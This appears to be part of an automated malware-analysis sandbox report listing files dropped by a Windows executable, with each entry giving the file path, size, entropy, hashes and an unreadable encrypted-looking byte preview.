SHA-256:	1E2A1E708815AC69A2DFBD417178F039F14C12AD1118F087AF0BF4868FA517F6
SHA-512:	9389C4813250C208B82818C9132C8C9F61F97D7CB6292116D24D0C79B19F0E406C7C284A00CD231B59E3D8E116375652F9565E242886F134CC15E2499F33DCC0
Malicious:	false
Preview:	<?xml.;.6.%W..x[..-..k.t+..+-..l...yD3wf.......J.'.nje.E.d`).^O`.....%.@3..a.a)A....N.ZB.Hd/....Al9......I..S.p.a...5.....f.......4....7.....FH;....@h.[HH4.A...`._.......x.....V..}...L..\Cc..8<.^.k..=.TF ...~0.%..X&."..[......<#...."...{Y..eA}._h.Vw..K..E..OV0..a^h../i..>...U.&..B.t......z\|...O........]..........?...wA....r.r..yX.....C..9.`.....\|ual..e).p.8Hz.GO..}.e......R..CB.r;.M..... .rRL.^q)-...@o...i....9s.c.#......E...mH.@..ER.J{=.7........H.."..;g..a..;\|(. .s....T.\....g...NH..M..3v...7.Pg.(g...T.....y..._.7.F8J.#s!>".....A...r..]1.J.3.....z7+..i......I.B.M2.B......iV%.......a...-,.L.]-.Y.Bd..2.S..s.V....).n..d.ZO.k..6.zOc...3R..1.:.H...E>"..#[K.....l.=Ff]..._<'J+...1..ieO.Bvn..G....g>.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.671216198866542
Encrypted:	false
SSDEEP:	12:cCnIDg5N2RUXGusaOnbnrS7xLkQTSUxuTVaGhiQq51BLzlhlu5jbqyYQnBnOYl0u:r+80RSHsNDexLnxCVrkQqvLhlu5/Y2+u
MD5:	F3362F1EAC9E41D904CF49FCA1A08CD2
SHA1:	28A02005EBC7A12EA054C9C948E804DC981D86A2
SHA-256:	D037DDDDA8860452577942601D953D96F84012495F749546D318AEF818DFE1F3
SHA-512:	C52263D6C21E76C49F3146573ACEEFEF54EB736E297D1711FA0B57D7965AF44FC1DAC83A210186781873A292B6EE76D193F888E828EE872EFA490058152D6FEC
Malicious:	false
Preview:	<?xml!..8p....'......hIn0R.......d.5..+..E.^mQ..(M..ErZg.,67c.w....&.%Z....<.C.a.8.~\.Ey.....5e8..p>e.fc.v.l..5...d.V.R.X8.Z.2Z.G.4.F......RQ..L./.o.G.Y.F.<V...?....~w..Z2......:..ma...FQ.....7.....D.mT..X...T.....C.2.6....Fg..,1..z9.%.hn.....,o.....d.@).v.}j.j&&V...";.)#..S.Z.h.K.yE..n#O...\m8w/.....Rk<y.?..P$.@...jZ......m...a...Ef...#.:....v.....cy....'...T.N.q.....w^.e..O..u0.T........R.i..&;....C.x..{.....+.m.O..+..y..S...Ft'k2.;......P).W.J:.f<%z..K&..m...N]C......O..P2<......@B...X...m.....j...p1.r...7.PP/..;A.).jR...........'....tlv.].....m..9.+..H.T.......9.T..[d.....;......x..$...8...nRf..0).]X..t,..n.hP.o..d...wxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.714508762316774
Encrypted:	false
SSDEEP:	12:NInf/ndxq9SrtKkFuwUdO6pSmsZkexKeoAFrv71loGqtIsnE39M2cii9a:+n3ndU8rzFuwKOodecedF1eL7nE39pbD
MD5:	B31BE7EA19DDF2EF21AD4CB02728AD2A
SHA1:	25200516C208DC3FA134636B84D17D158A7BE1B9
SHA-256:	40D6867FC1DC14C386637F12F40BEED1073F7384C120DAA517AFE50E474145ED
SHA-512:	3014739D85D8401F9996541F2CD56643589AFA1A585D924175D92EEF23EC7DC062596573F5276847A6747901776A86BE8FC22451E1E4BB70A8143C72621B328B
Malicious:	false
Preview:	<?xml...N...DI.2.i6.A.G.`.H..Z.^.f.A..L..d..q~9n+M.-.o8j.._..oK>$.%..=p....M........y.......}.5.ZK...#5@K...Rsk.\.....Q..W..J...L+B$.VA.sF...p...?..T.P........._o..."....9.ND.W.~.-[.>..,.k~..B.N.u.$z5>:.;'.{.1..!O2.a8..K..RC.....\..0j...09.(...W.~...H]..[.......+B..D..H#_>:.....^..H.+t.&G.._{"...b..7.P......".!f.SP.%!.M....tY87.+..$.G."......A.r..hEf..>R.I....n7.Ji.R....n.90..S(R...4....!.....H.z).r....s0x7...,...[.%5%.&,..@L.kMf......3V....YM.'N.eE....=.5q....p.d..-...T......2...9..s.-X..]!3L...XC.U......vI.A:.n..#......C".K..^.......#$.m,.\.#<K..DP.N(.w..U....KZ..r$.&.iLG....u...^...GD...c..[. .Y...L..Z.........Vt..i4Z....;........d...R....<...z.:...~.M}E...0.[\T.{...).....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.719117105194032
Encrypted:	false
SSDEEP:	12:IWGbKRc3NFOrav0BUho6FlyV90O3T09QvMXE+XlWjcjMihFyGGK3E6JKR7U9M2cq:IWGl3NFOEhoA0vrvWpEmMihA9KHJK7UX
MD5:	29F36BCDAC57E1AFC87FD9D09BCA9257
SHA1:	75122791A915889ED9C11F261A7BFCBFC3113AFB
SHA-256:	4A24AC2571DAE89360D13B4B7AA7F5B36F819B777843400B2B7A705E1841BDCD
SHA-512:	EEEE2B880DEBDCB40444579002315DDDFBE3BB7C3F19D79006B9C80FA504E434C1F8CFB2B9122315C0A723040A62EEA21C3710DF4E46A0511CF3765A0D62DE0D
Malicious:	false
Preview:	<?xml..Lt`v......z.1]...-.L.....z.K.s..Z...f.`.....NVl.l.=...A..P....8..g..;.e.="R..U.?...0....U8h....[.7..H....X...I.U.9..x.g..:3.cQ.. .W.uW.DT.=%.Z...{........)..=..b.z..t......Z..8.t..Y...Xs....b.i.D...2........D.5..g.q2N.......g....P.q.....~...K..8R'..^..s.......<.!.~.....o.HSt.O.y..VD$..._.I.e..mV5.%:.d.\.......Uf.8....P)O../}.8.3/G....a...+.:4x._.........C..I...(.Gx..q.....%'..a...C3M$...i0n..{k-t.}hL..s.......].w.P.....j..\..M.i..@x....;.T....@...&"....05..)Wf..:...g......?..1K?.1...o...u.].=..%C.GPQZw.x.U..d.w,={t..1..B..@.O...]$>d.:.....R...hD.........N3...OS..+]@.....K..g...n...8.c.<.\.GSq'.<..i...W..KDE..\...`>j.A..n.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.745244081312767
Encrypted:	false
SSDEEP:	24:5woZgSL5Eh16xltmrQrGAvomerxjzVBAJ9oM0p6Rii9pbD:5woZmQlgE4mertVBC9oM0YJJD
MD5:	697BF2163528D6A516A45143EAACDB05
SHA1:	B80A6F30E770EDEB1FA4299396FDF9B8B5CB7C94
SHA-256:	1DCC46CD2C0A47E6C5293C2363DD03B4209C4933A57369F19DCB6F336E5132C4
SHA-512:	297D3CB5FE97799718A754C61A1EE5F8D62360525EA4063166D8837BA5F72479EE25804EB0D6F529995522D73F7DF6C01329A25C676CC6694789CBB839708F5B
Malicious:	false
Preview:	<?xml...Tlp'h...T..FKQ.i,...8kv#...J..g"D.K .....6hYE\q...7.t..!.L.+q7x...@.&....M.ffx.;6.".9....E...J.l%...A.w.E~KcS.!.G........N..x.fr.ST?..w........... qK.....)......m..4..!...j..H.=3y..*..../.1.....(..0......f..4..=...Q.J..h..].W..>...<....~..$F8.'G>.~A../..g..-.w..>b:xPU.4n{...<@m..W.l.R%..&.SV...).E...!.$..`.:.#m#Ejt6.\|.k.I............M....N:;..Br..=..e.m..Fm~_.+..).m..\n.%6.....f....9m..6...@H..?..o36...Q...........K..Q$.&...{.q.._.Z...[q@......e...T..5o.@....[]..A..n.?Zz..d.(.q..\a...Ca....!.....=\|m..b....P...T./.,...og@...'..\..X9T...!S?.<..d.Z.\|....ry..@m..<..g\c...ZwO.e..l..b....P.K.w..{..;.1.\|..p]....1....L&OFM.^.^.`.gw./@..^).X...v\I.,Nf.....0.i.{.Bco...LG.V.'......R.R.E..E.M.+0....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.650393225985373
Encrypted:	false
SSDEEP:	12:Rbz2HVUqD2UDEi3cghTyRoNyyDUI5VpjBTnc+r3rc8YwLQui2P0F8CGV9M2cii9a:x2H1CUDENgh0oNyyt5VpFnc27c8990FK
MD5:	574373A3CE83654CB3C4B7AB0FD63193
SHA1:	2714AB29B17381773C70F9E4C2FA5273B43CF0FB
SHA-256:	E7030BEEAEC082916AA16529B1A3AB1D1C360DDF06BADA28DE75806396E71D72
SHA-512:	64CCC286CEA9BF68A470E921E4F147D62D1A7BD6966B56E6D13EF8637993F2F65E2A47596C2AE2DC16D10F97BAA8A01C1112FAB6F631C52F1491C7C1D40B415D
Malicious:	false
Preview:	<?xml.....Wp}....A.L..H.f..,.........#......cSP..p.P..Q!#!E.O...O...:RI..:~x...S..is..%z...._.&r.YY.......7.YK.....p.sG.V.....5Pl...U];6..g.bU...$.."...rk..............-.....'..B.j[....... !qNvoa....G..rRXIm\.......E.......K...h.$....h.6.\|4Dd..e.~..iw.d../+...^y.Q...3r....z\|..{QN..>...h..b"..`7c?3...a7B..z..8.3..l........cc.$..i....?..l_eBm.....b...3-.N6....\|...m.....v...@e.+. .f.Z.-K./.a.....$.-. .P}.A[.....&.5%E"...A#-..a.K\|L...9..>n..?]h..1.....v.!..?.bC.R[..L.\|..%..js.O.j?........~.\..S.8..'.....\#B..uvP.4........v..b\.A'D..\.._.#1.v..zw-..C....&..R.$..@....\|....[...b..A].9..o.w...-.ND.yD/.>.G..[?...Y.X..s-q.p.....[...7..BxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.778237107904079
Encrypted:	false
SSDEEP:	24:MNQDCFrtebQCx/Y9cNO0Z+Mwi5AHxZx9lriS7YMk9pbD:XCFrteHIc5ZrGJriS8TJD
MD5:	1EA7045020B842CC1CBD6D7938306E5C
SHA1:	B0CB46C55A74B9420F8EE87D30AC515AF711D959
SHA-256:	6B942A4CF46EFA46AC3501A51AC003B772052B892922903E5CFF2A17FDBA892C
SHA-512:	9ECDA611D9DFA1481DE26E9FE43CC5C45EA43DEE7EC42CA85E3FF8658FBF1D808B358E8D38FC3CB2E6DC02FE850E0411ACD77FCC9A79166223786B069DBFCF1F
Malicious:	false
Preview:	<?xml._......N.\..6+....V...Y...w.E.=...3^....k.\k\.`..\...9.6....-I....q2..............\|p[.'q_......>.x.?....X......\.]a%....g.e..h-^.~..pH.........e..(O,l...K.!.>....Z....m..c.kf..!_.u...._....u..,...!.c..~.14.C..$M.dS..).y...z.....a...hL......V.....W...Su..J.y...%@.........w...}G..ls{.P.....oP5U.F.>...!..C...!...2R.ljrAv...z.......Q.-....J.$H..Pkq.C..(......0..IJi.m.+....w....vnn...&.....+.Y5.].. SJE.K....~.z.$0.F.......c.tcA.8;'s`.."$.r.b.'C...%B....7.L_d....c.]......V...0..F.D:........."..g>...p...m.....~N]....h.,.:..g...X..`....!..m.....'.I...JcT......\1..&.g..v .....,.}5..........S..r.u...N.2P...r...F..;-=....F....\.q:t$D.....h2....{..(./.....l#.k,.!....v.w.........Yh.,.U......xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.6948462065696255
Encrypted:	false
SSDEEP:	12:kaRee3R6qLYywjvw8r2L3coDlmL/TLlVrsO6i39GFzUQllvTByGI9M2cii9a:1kesWYbImUDQL/tBsNi3qUQllvTBRI9h
MD5:	B2D5E2735CEE405638FBEF853E3E4769
SHA1:	9413D1D90CEA2EE063159B5FE94DBCE84A91DDB7
SHA-256:	499C0D9DE3B9D861FD1BE9E3C344CCB31A4A1F04CC83C57983EE827923797E82
SHA-512:	F693B532C047384F70D32145EBE857C239D8E55E08A27B10565F5AFB683230489A686D89195B1A8134E34D313465C3B51A7031139779A6394ABD891B9BF9C6B0
Malicious:	false
Preview:	<?xml..e.9..P..Q...).........SK..w....0V..%.w............}R........V....;:....0 .....n8.s.....i.W.....(2".d.8.J..i..5+.{..qq...U.Z...t.........K+.y...k....\F..x....H.kSYvhC..1.XO..#......-..j.....V..~)...Z.g......tdf....2.....Q<.'rp.m.......6)......0.g.T.BK.G..1cY..\6lJ'.P.......}.C_.....g.6...).{..a6.....C. ......v..<KQ0..n..`.Wr..A\.]{'f...y.\.......y.....6.N.A..k..@.....y&@../..O..s.E....~n.J...Fr.^....A...s....1 ..J....Pi...zomK.bw..K{2T.M1`.^....l....J...Wy.%.k...i.7G..I...C.p.&...&*b.P.....f....V....P';H...3j.^...3(.j5.j...e.1..N,..J.]..."eJx!...>k.-..p.........os.#:.\|.....G.Y.'"6....di...L...g....i....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.666352476366529
Encrypted:	false
SSDEEP:	12:V2nu0X0EJGuEjAqhl1BNTha48Ouo1qiRAILS3Ki1HxHXkH6tGh+DOr9M2cii9a:VkGL8qhTEtmq9IW3Ki1RUatGhlr9pbD
MD5:	ECFC314CA7D35A43B1CBD11CB39E307F
SHA1:	45030786651A5BB3DCC4B423817434949C9F1FB1
SHA-256:	E5F0CFE8CDE1B8616882FA3D36A0A13F35EC7BC0546E438BF114A2D2704853B2
SHA-512:	D69987C5C8B29B2B617753592F5C155815BE1CF9E131CA8D9CE8A401BBD9AB7611617001F169B12459774D38B5AA9AB14316FB968D2F9BDC7DFC61D491E83167
Malicious:	false
Preview:	<?xml..Kb<...g..i.&.w.dM...=.E..h3..r..@..N.=....Qy.8.n........_.......\|b..S.N?..-=..~ _...U.......b...}C.~.c..X.hy...w.X.....xE.f..........X..C...?52..1'L..."..a....A+.j...LT.c..... EKtY....o........_......_a...5...:D..^2.WD....M.).Z.oz...l....;+Y..#..[7GX3....t...N2..\Gg[..2..]H..l.=6e.q;{...(Y.J]..&..f..P8i_%.]ZM...~..`.......1.E....s.X..H.9\|....qD...i.....7..@...........l....e@....L4.=^E.N..L..OJ......$..2r..gT`.e .J....l)..,...,m......#..}.-.)&...<..Dl.T=..71.t.....k.x...&..sI: .........d....``V..y#c.*).}..z$.l..S..W.......y..Y]..<..G..gax...l.<.b....M....Af.{..x....9].'.q.(.C6...W.c.._.3.?J...T.T..lw.Y\|..@.p.....&..J0......Y..~.8a./>..@m..C..TMO...D.....Y...`..M..1S....l.@.&MxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.696052935299223
Encrypted:	false
SSDEEP:	12:Ceh13wRFiezBH4at0mVxO9OwzU/MPCyjnOvS4VN5oFnBFzrJtaeiQgDVd8lV9M2X:b3wRlPDYbz2MP1jnd4VN8nnFHadc9pbD
MD5:	1870F273014B013BFFC726D07B6A06FB
SHA1:	84982DB2AD6410B26DF12EA1D7A0F6A69406E145
SHA-256:	B17151FC974A2EB379E7EAC3A000E01EEE65F9CCFF25EDBCF9D5A7E305E02EA7
SHA-512:	7D6D522319BD9A0FF545E5257055660E00EACECBF403F588FC3A2AEE000A207C23C92C437DBE3D8CA11B941C6176B78DD69FC9E82D71949E505817E8FF6E4129
Malicious:	false
Preview:	<?xml.59V=..u..Tx.-:2....GuqW.Go....k.p.8..K.@vv...\|.N.(\.7..K\[..NA.`.7^l......N.S.+..8_...&...j..Z\.........W...c ...e....8vg...v.~.n...\|;#i_#...{.N....Qz..`..fT..b.-y.?....v...Ig.S.].d..h.k.jI.+.V.?P)....C.\..$^...qQ..8 .o....$G..BH..b.....~_...0......ya.8.3...y^..5j....b...._{..C.....6..vH....Z0p...lZ..=(.....a.y.b..e.....r.tz....5.o...NA...9f..Y..ia..,8#....}...w...+...X(1..s.u..N.,M......Y...ns.8.v.N7.c.dQ.%H.N...E.1..lr..0..E.9.r..P...)......,RpT....S..Fd...+.iGX...1..oV.)..&yI. .."....q..Y......Z....y...4....".:..?..c.9tQ......7......'v...O;.m...>V.\|:..X...klY.5.:.X.?~..d.IAl...d3...5..i..k.....).5sj<..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.736511401663011
Encrypted:	false
SSDEEP:	24:rYItCR3fjFKwCZeu1toFa6EjhJF84im9pbD:rYItCRbFKrZeqto8jflJD
MD5:	07C00E5EB5332AC7B64A196D3CEDFA72
SHA1:	676187946B2E3FBF5B2B8D4EBF5248BBC03593B5
SHA-256:	D1E780F1218AEF56A3FF0BA0A5629E911480E59C2B6183BE8CD488CD163CEEE1
SHA-512:	7A7DF1B04CB1A174DC03F635BBDA1158A2E51E97E25AC2DFAE6067478F5A7248243B7CA421403E89C08652E11BD8A635E3B4332E21C4A09E9C5875CEE2D44A6F
Malicious:	false
Preview:	<?xml.r._.y....'Q...'.$Fu.D..4..My8T.....]u.....{.S..N....ru..%...-.. ..0<A.3/.\..F.X..)W.l.>.D...;.-...5GP....7.\...M\...'.Q.....{2...Qr.J(....'.`zr.g\|.\|.J.'..[xh......H.B'.{i...Y5U..dFU..+l.l....48..hF..1V._?...!.;...5&.m.3..K.^.8..p..9...:..J...Q.e....cIr.0:=k]yF..I.Pp...4Y.........Wg....[.....a.,5.Y......u.].T..=}.q.i...Z..=.C8.p..Z.r..L..f..j...XUL.)....v.XU.={.."9.\|..xDM........n.RM=.&...N.!...l.../..B./...P..z....Q......<...F5.!..Z...G...o#3`... -."P:..l..Ng.C....D...c..d...k%-...o.../Y.a....OV.)...F...r...J..t.J...b..$"Th.N...yq.AX..:.=.>$U?..\|..$(.^Xz.K..T..Y...7.4...m...C?.....h.Fgpb..S/...........O8A&{g.....>...f2.e..AX...>..../0E....=22.o.....#......m..7s..#.........Qm.p&..`y.L..~@wc.$xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.676393206029657
Encrypted:	false
SSDEEP:	12:Mn/bO/Pr/FBW2sPH8iUFyy+65bHUJ+ykHQyE6hP4H+PhtxelWhta+eS+26iM9M2X:M/YO28H8lnHNykPEK6QHo+f+26iM9pbD
MD5:	9F764597690988CDE5E7689498D9A203
SHA1:	D763D09C1F48E3EECCB46AECB73F24AD24541FA8
SHA-256:	1B9AC8FC29B4EBFA3C3F715F101AAAD72B3D68F1EE8512146F024E804D9847A3
SHA-512:	2D6581F7C2A5C693A68634C66F4A6DEAB9B9B12A6FDF23EC930B189B9F0D062DE83EEFFF63C03B7172CADB10D28959255B8D0F746CC03E01C3527451BA135B44
Malicious:	false
Preview:	<?xml.%n;..F..v..-...J.../.W..L.M}..q.? ..k..L+.y.,...N..J..g.......Dc(......5. ...........W.=...k..f..%.,x@....{OJ...9.pJ..vID..m\|.._.....'..&Y...~@a..Gp_qo..T....W.E".4... ..ff..C..)...7.h...........I.s..`u.Y...m...bH.k.@WQ$..h..8CLX.V...^Oj.....gXK......-.,._......:.U..7.4j..m..T......%.D.&"........r.4..]+..4.j.q.*@A..$K..\...C.......A)......e.L..D8H.M}(,.O....@w....ATJ`s.......o^....V..9.6.V4...X.<..?..1...HQ6.E.J.H...+.g..)EAd...4.2E8k.E_..........G.V@.8..u.oe_.r#..v..\|J{27x...X;.B.L....V.<q....H.a?..V....!..}....7......d.@C..ZJJ..7.xZ./...e...I...t...(.."9^...I...I&...Nlz.....R.".c.a..k.......... ..&aG...[v@E.d...v=s7h+....9Ix..PL.B....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.744011503341974
Encrypted:	false
SSDEEP:	24:b6914BiFzDZcI3zrgSzae96zAEkKQC9pbD:O914gcIDXwzhkYJD
MD5:	DBEA373F6576991F8061FB6FABAA869E
SHA1:	AA3531FE58E2BF70BC174E8E65FD1AB6AEE7CA09
SHA-256:	F3AE83A00CD8EE63C0D075607B7873E7AEFB14401E51ABD5B4B0F90EF78339EE
SHA-512:	D45D292EA5D2D1D7180FCB18F103027FFB1F64F6C35714B14D3583C8C6ADF51F6277152EC3B794BA4BB531E8961FAE5E2B7917D538BAD1B2AC8E4A2D205F36D1
Malicious:	false
Preview:	<?xml......DhK...._=.L...8..X\|...zv-.......#o..86wLx..cK._..-D..~.J...Z.i.qb.-..~....#v...-..Ph ..&S.R.N.......].q7T.....i..].$.+d}J..9.sNr...~].u...R......5.p..U0+6...._I...2l.Y.>NW.X...\m....{..D..,bMPo....D.(chE.&..:].Q.......5C'....V=.TI.J...u.aOT8.S.'.ch..}..O\|"p.tx"A.^........Wj.bpB.-....n..N....`.ah..&..!...+...H......~...@.LW.....t.D..z)...N..O...1.W..2..{.u......].g....U..u.`.."..`.r.sh.)f.eg...,{43...!l...w....C..-...._.2%...Q.B..L.....cn).:...Im..g-..%.7dUQ..q;.B.%.D.....p....<.-nn...z..`...P......}_...ME.......EV...U.H...\}H...7yR.........A..s...;.a(.R..jd.%&.u.. ..3.+.x.k...r......s.........>...i....e1......l....6$..u.M .t.......=...7..!7...j.6..9.@..F...\|..m..^v.j.#xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120647v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	781
Entropy (8bit):	7.712077682007513
Encrypted:	false
SSDEEP:	24:izRMgTVW46BHwDmLW/NMSfIf/TPxN89pbD:efw4cpaNMQSPPSJD
MD5:	F9D3CA7D5031982D1712B71723469783
SHA1:	E885F7354094CF3B5E333597D87FEC4D6BF4B068
SHA-256:	D1105CF3B56AD0BD31B23561DC40ED17142D8AE04FBD3FD529FE70F76F72FEA4
SHA-512:	24E62F6DD8EA87ECED046B7DED971402A9B15D041009B3D1D541DF3C78078BAFC572F3D154AD96F434AE0DDD4195AB4426F0580CCEEE55C81262588DB9438B59
Malicious:	false
Preview:	<?xml.......J.M.q.d..m.[.:;\<..8o..T.c..4..+..........Q8.4........Q...~V.n .......#.(9X.\|....X.m%...Wdy..q1.......t..G..(0J..S....M...S.&...l.C.YV.C.8.....vG_...46J......D.#f....%o.{.?J}........(..."j0..O.....~`....X\| k.Y...........$...6fb.u.....nh.+-...hSZD....C}.^....e.C...y..O;>..\....[....D..3a-...dqk}....bq....C6;.....{.UP..0..p.c.`z.l-.x.O;O......2.W...D9.!.h\|.H..?.T...\.?..Z ...y.;.`...i{$.$nI:..{..+w...4....>Np...c'K?m6.,fo...E.$.....+Z.d.?2x...\|+..\.....}-"..ir..k..m.1...D.v...K..;1....'.M.....Y..{7...-..... .Ov.V.}(2:...._g>........E..z.d...8...y...z.R.M.t......z?.<.._..u.v.~...\|..B...,.\|...A..F..FK9..t1x .85..i)...Li4r.3.1....[....g...p<C#>L....$xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120648v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	824
Entropy (8bit):	7.728225204988343
Encrypted:	false
SSDEEP:	24:pPH4hW7xbfW2mic+DFQS5y9HFl+sIV9pbD:pAKt8i5BQZ9HRIPJD
MD5:	EC63AE5EAB4928A6534830F55130C4DC
SHA1:	6FBB6F76C7C6A987A6E57A0B91E06A4F1837CBD6
SHA-256:	3A1DAC2C63EB947C6AB0F256996EE77B695CA8B1B7F4CD6F39D82DB1A1D9E07C
SHA-512:	813E3CCD3BCCF733B75D1481024D809C6A84F2D61DCC48A49FA829294A597F6D4312603C0BF68BED89AFFFE1DBDE4AC10B15E7E864A0F6C12045BA7B6BB67982
Malicious:	false
Preview:	<?xml........G7......\|>..^..{..H.....f8..x..r.7..3..al-.E.iT..>j.t.s....z..#.8........; 0....Sd\|.Y.(e}....d...?W.+-....U..>.Y.L.b.I..j_....Z..z.....w.2\|..4...<.38Sx..76.J.!.....ha..S..19...9........G.)..+.v......-.........\|....W.....#.x8.7.N..f.....SX.]........I..........\|...G.i.;.T...=c.+...%+..........:.y.x.>qI....3...]b..r.....7....c.......g.!.c.b...._.cp..<9...E!...0V.u>...SQj..d-...7..?._.N..b..bn...j........V..........d}/.$N.K$g..,....j<..I.3ph.o...}..f Z...s`.@.......z.q.\|R';sS.~n.c._.....`k.P..x......-...dE:.......S...Z.......{..^.m".....z..UA..x...4P_F..&...WTz>.,<..z._>_.e.ia...t?.#...`e...Q"...E.7..H....$.{...e;B.;....}........I...p.M....4...T...G.syYp..0dZ]O.4@.W.......\.\.BLX..c}Qx.....t.d'.[{.w.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120649v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.694682651129765
Encrypted:	false
SSDEEP:	12:YiIFKsmNQUza/OKyk72ZkIDca6SChWmu2BU6zxSwkc9eM3fFM+AO/1Dj9M2cii9a:YCdzamKGBDcyFmu+3zxNkc9eM3tLAO/l
MD5:	88D1CFCADDAA798CBB4238A58E6B8B2E
SHA1:	BBF5A652FFA3A091C6787652411DA7BF34879A1B
SHA-256:	7C308F3FF69DBBAD603E55F5A327CDFF85871A753C97B8B4418D2C312C89FF7B
SHA-512:	91D83281538DE68299FEEBA8F761E4F17EDDF9C26FA5428B6787E9DAFA340FB50D025FF6D7046673A86516EC4C4EAF3335FDAC73F9B7E0FCBFFD881740B99FF4
Malicious:	false
